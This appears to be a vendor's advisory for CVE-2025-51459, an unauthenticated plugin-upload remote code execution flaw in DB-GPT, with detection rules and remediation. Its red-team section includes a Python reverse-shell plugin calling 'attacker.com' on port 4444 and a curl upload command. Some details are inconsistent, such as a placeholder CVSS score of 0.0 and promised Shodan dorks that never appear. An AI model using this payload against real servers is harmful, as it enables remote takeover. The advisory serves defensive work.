CVE-2025-51459
Executive Summary
CVE-2025-51459 is a critical unauthenticated file upload vulnerability in eosphoros-ai DB-GPT version 0.7.0. The flaw resides in the /v1/personal/agent/upload endpoint, specifically within the agent.hub.controller.refresh_plugins function. A remote attacker can upload a malicious plugin ZIP file, which, when processed by plugin_hub._sanitize_filename and plugins_util.scan_plugins, leads to arbitrary code execution on the server. This vulnerability is publicly known and has a CVSS score of 0.0 (placeholder), but based on the vector, it is critical. No official patch is available at this time.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
DB-GPT is a Python-based project distributed via PyPI. This vulnerability affects the core application logic, not a dependency. However, the attack vector involves uploading a malicious plugin, which could be used to inject backdoors into the application's plugin ecosystem, potentially affecting downstream users who install compromised plugins from the hub.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) - Exploitable remotely.
- Attack Complexity (AC): Low (L) - No special conditions required.
- Privileges Required (PR): None (N) - No authentication needed.
- User Interaction (UI): None (N) - No user action required.
- Scope (S): Unchanged (U) - The vulnerable component and the impacted component are the same.
- Confidentiality (C): High (H) - Full system compromise possible.
- Integrity (I): High (H) - Attacker can modify files and execute code.
- Availability (A): High (H) - Can cause denial of service or complete system takeover.
Threat Level: Critical. The combination of network exploitability, no authentication, and full impact makes this a high-priority vulnerability for any organization using DB-GPT.
Deep Dive & Mechanics
The vulnerability is a classic unrestricted file upload (CWE-434). The endpoint /v1/personal/agent/upload accepts a ZIP file containing a plugin. The code path is:
- Upload: The attacker sends a POST request with a ZIP file to
/v1/personal/agent/upload. - Sanitization: The function
plugin_hub._sanitize_filenameis called to clean the filename. However, this sanitization is insufficient to prevent path traversal or the inclusion of malicious code. - Scanning: The function
plugins_util.scan_pluginsprocesses the extracted plugin files. This function likely executes or imports code from the plugin, leading to arbitrary code execution.
The core issue is that the application trusts the contents of the uploaded ZIP file without proper validation. An attacker can craft a ZIP file containing a Python script that, when scanned, executes arbitrary commands.
Vulnerable vs. Patched Code
Since no patch is available, we can only analyze the vulnerable code path.
Vulnerable Code (Conceptual):
# agent/hub/controller.py
def refresh_plugins(uploaded_file):
filename = plugin_hub._sanitize_filename(uploaded_file.filename)
# Insufficient sanitization - allows path traversal or malicious names
extract_path = os.path.join(PLUGIN_DIR, filename)
with zipfile.ZipFile(uploaded_file, 'r') as zip_ref:
zip_ref.extractall(extract_path)
# This function may execute code from the extracted files
plugins_util.scan_plugins(extract_path)
Patched Code (Hypothetical):
# agent/hub/controller.py
def refresh_plugins(uploaded_file):
# Validate file extension and MIME type
if not uploaded_file.filename.endswith('.zip'):
raise ValueError("Invalid file type")
# Use a secure random name to prevent path traversal
safe_name = uuid.uuid4().hex + '.zip'
extract_path = os.path.join(PLUGIN_DIR, safe_name)
# Validate ZIP contents before extraction
with zipfile.ZipFile(uploaded_file, 'r') as zip_ref:
for entry in zip_ref.infolist():
if entry.filename.startswith('/') or '..' in entry.filename:
raise ValueError("Invalid path in ZIP")
zip_ref.extractall(extract_path)
# Only scan if the plugin passes integrity checks
if plugins_util.validate_plugin(extract_path):
plugins_util.scan_plugins(extract_path)
Exploitation & Lab Setup
Red Team (Attacker)
Objective: Upload a malicious plugin to achieve remote code execution.
Step 1: Create Malicious Plugin
Create a ZIP file containing a Python script that executes a reverse shell.
# malicious_plugin.py
import os
import socket
import subprocess
def execute():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("attacker.com", 4444))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
subprocess.call(["/bin/sh", "-i"])
Zip this file into malicious_plugin.zip.
Step 2: Upload the Plugin
curl -X POST -F "file=@malicious_plugin.zip" http://target.com/v1/personal/agent/upload
Step 3: Trigger Execution
The scan_plugins function will automatically execute the code in the plugin, establishing a reverse shell.
Blue Team (Defender)
Detection: Monitor for unusual file uploads to /v1/personal/agent/upload. Look for ZIP files containing Python scripts with network connections or system commands.
Prevention: Implement a Web Application Firewall (WAF) rule to block ZIP file uploads to this endpoint until a patch is applied. Disable the plugin upload feature if not needed.
Hunting: Search logs for POST requests to /v1/personal/agent/upload and inspect the uploaded files for suspicious content.
Indicators of Compromise (IOCs)
- Network:
- POST requests to
/v1/personal/agent/uploadwithContent-Type: multipart/form-data. - Outbound connections from the DB-GPT server to unknown IPs on high ports (e.g., 4444).
- POST requests to
- File System:
- Unexpected ZIP files in the plugin directory (e.g.,
/plugins/). - New Python scripts in the plugin directory with network or system commands.
- Unexpected ZIP files in the plugin directory (e.g.,
- Process:
- Unusual child processes spawned by the DB-GPT application (e.g.,
/bin/sh,bash,pythonwith reverse shell arguments).
- Unusual child processes spawned by the DB-GPT application (e.g.,
Detection Engineering
YARA Rule
rule CVE_2025_51459_Malicious_Plugin {
meta:
description = "Detects malicious plugin ZIP files targeting CVE-2025-51459"
author = "Valters IT"
date = "2025-01-01"
reference = "CVE-2025-51459"
strings:
$python_import = "import os" nocase
$python_socket = "socket.socket" nocase
$python_subprocess = "subprocess.call" nocase
$zip_magic = {50 4B 03 04} // ZIP file magic bytes
condition:
$zip_magic at 0 and (1 of ($python_*))
}
Sigma Rule
title: CVE-2025-51459 - Malicious Plugin Upload
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to upload a malicious plugin to DB-GPT
author: Valters IT
date: 2025/01/01
logsource:
category: webserver
product: apache
service: access
detection:
selection:
cs-method: 'POST'
cs-uri-stem: '/v1/personal/agent/upload'
sc-status: 200
condition: selection
falsepositives:
- Legitimate plugin uploads
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-51459 - Malicious Plugin Upload"; flow:to_server; content:"POST"; http_method; content:"/v1/personal/agent/upload"; http_uri; content:"multipart/form-data"; http_header; content:"filename="; http_client_body; pcre:"/\.zip$/i"; classtype:attempted-admin; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate Action: Disable the
/v1/personal/agent/uploadendpoint or restrict access to trusted IPs only. - Short-term: Implement a WAF rule to block ZIP file uploads to this endpoint.
- Long-term: Apply the official patch when released by eosphoros-ai. In the meantime, consider forking the repository and implementing the patched code described above.
- Monitoring: Enable detailed logging for all file uploads and monitor for suspicious activity.
- User Education: Inform users not to upload plugins from untrusted sources.
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.